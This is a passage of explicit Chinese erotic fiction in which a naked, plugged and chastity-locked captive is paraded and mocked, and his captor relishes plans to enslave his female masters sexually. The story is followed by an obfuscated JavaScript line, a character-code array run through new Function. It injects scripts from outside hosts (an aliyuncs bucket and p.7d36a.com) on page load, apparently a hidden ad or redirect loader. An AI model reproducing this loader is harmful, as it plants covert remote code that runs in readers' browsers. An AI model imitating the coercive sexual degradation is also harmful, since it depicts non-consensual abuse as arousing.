那根玉制肛塞的表面布满了凸起的颗粒,它在我因为行走而不断收缩的肠壁内疯狂摩擦,每一次摩擦都像是在我敏感的肠道深处点燃一小簇火焰,让我全身都如同触电般酥麻不已。
特别是最前端的那个凸起,更是让我几乎要当场失禁。
为了勉强忍住这股骚动,我不得不将双腿,尽可能地向两侧叉得很开,就如同那些在乡间集市上待价而沽的、被捆住了四蹄的卑贱牲畜一般,走起路来摇摇晃晃,姿势怪异而又滑稽不堪。
每走出一步,我都会下意识地扭动着我那早已酸痛红肿的屁股,试图通过这种徒劳的方式,来稍微缓解一下那来自屁眼最深之处的极致快感。
“咯咯咯❤…好一个天生媚骨的小骚货,连走路的姿势都这般与众不同,引人遐思呢❤…”烟罗那娇媚嗓音,再次如同魔鬼的低语般轻轻地飘进了我的耳中。
随着我们俩那如同连体婴般紧密贴合的身体缓缓地走出内殿,来到外面那更加广阔的宫殿群落之中,周遭立刻便响起了一阵阵此起彼伏的、刻意压抑却又清晰可闻的嗤笑声与议论声。
我们缓缓地穿过一条雕梁画栋、弥漫着浓郁异香的奢华长廊。长廊的两侧,站满了衣着暴露、神态妖媚的极乐天宫女修。
当我和烟罗一前一后地从她们这些充满了堕落与淫秽气息的魔女身边缓缓走过之时,那些原本还带着一丝慵懒与倦怠的目光,立刻齐刷刷地落在了我这具早已因为连番的羞辱而变得狼狈不堪、依旧一丝不挂的身体之上!
她们的眼神肆无忌惮地在我那因为插着邪恶肛塞而显得异常怪异滑稽的走路姿势之上来回扫视!
以及在我那紧紧贴合着耻骨的、冰冷坚硬的“囚月锁”之上反复流连,尤其在看到上面镌刻着的“月奴”二字之时,更是会不约而同地爆发出一阵阵刻意压抑却又清晰可闻的、充满了极致轻蔑与幸灾乐祸意味的尖锐窃笑声!
“噗嗤…”
“呵呵…这新来的小骚货,走路姿势可真够别致的…”
“可不是嘛,也不知是哪个不开眼的,居然连这种货色也敢往尊上这里送…”
“你们看他那根小鸡巴上锁着的东西,居然还刻着名字呢,啧啧,真是个下贱的玩意儿…”
那些女修的窃笑声和议论声虽然不大,却一字不漏地传进了我的耳朵里。
我羞得恨不得找个地缝钻进去,脸颊烫得几乎要滴出血来。
但我不敢有丝毫的反抗,甚至连加快脚步逃离这令人窒息的目光都不敢,只能强忍着屁眼深处传来的阵阵骚痒与刺痛,以及胯下贞操锁冰冷的触感,一步一步地、艰难地跟在烟罗的身后,任由那些目光如同实质般在我赤裸的身体上逡巡。
“呵呵~,这些人啊,就是一群没见过世面的井底之蛙,整日里除了争风吃醋之外,便再也找不到其他任何的乐子了。”一道温热黏稠、带着浓郁得化不开的熟腻雌香与淡淡汗味的暧昧吐息,轻轻地喷在了我的耳垂之上。
烟罗那绝美脸庞,不知何时已经凑到了我的耳边。
她那柔软湿润的香舌,甚至还充满了暗示意味地舔舐了一下我那敏感的耳廓,引得我整个身体都如同触电般剧烈地战栗了一下,连带着体内的那根邪恶玉塞,也因为这突如其来的刺激而向内顶了一下!
“呀…❤”我忍不住发出一声压抑的、带着浓重鼻音的惊呼。
“看多了,习惯了,自然也就不觉得有什么大不了的了。”烟罗那双如同没有骨头般的修长玉臂,带着一股令人沉醉的温暖与柔软,充满了占有意味地搂住了我的脖颈。
她那丰满而又充满了弹性的巍峨雪乳,更是有意无意地摩擦着我的手臂。
“以后啊,你要面对的,可远远不止是这点无关痛痒的口舌嘲笑呢。”她的声音如同情人间的耳鬓厮磨,温柔得能滴出水来,却又带着一丝冰冷与残忍,“等着瞧吧。当你那些曾经冰清玉洁、高高在上的师尊、师姐们,在知道了是她们平日里最为疼爱、最为信任的‘好徒儿’、‘好师弟’,亲手将她们一点一点地拖入我们这极乐天宫;当她们一个个被主人彻底调教成只会喷着骚水、拉着热屎、发出母猪浪叫的下贱雌畜…嘻嘻,到了那个时候,她们脸上所能露出的表情,那才叫真正的精彩绝伦,回味无穷呢~”
烟罗再次掩嘴轻笑,那笑声如清脆悦耳,婉转动听,却又满溢着令人心悸的恶意。
“嘻嘻,姐姐我啊,可是已经有些迫不及待地,想要亲眼看看那场面了呢~❤到时候,月奴你可要好好地配合姐姐我,给我们伟大的主人,再上演一出比今天这场‘认主大典’,还要精彩刺激百倍、千倍的的绝世好戏哦~❤”
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);
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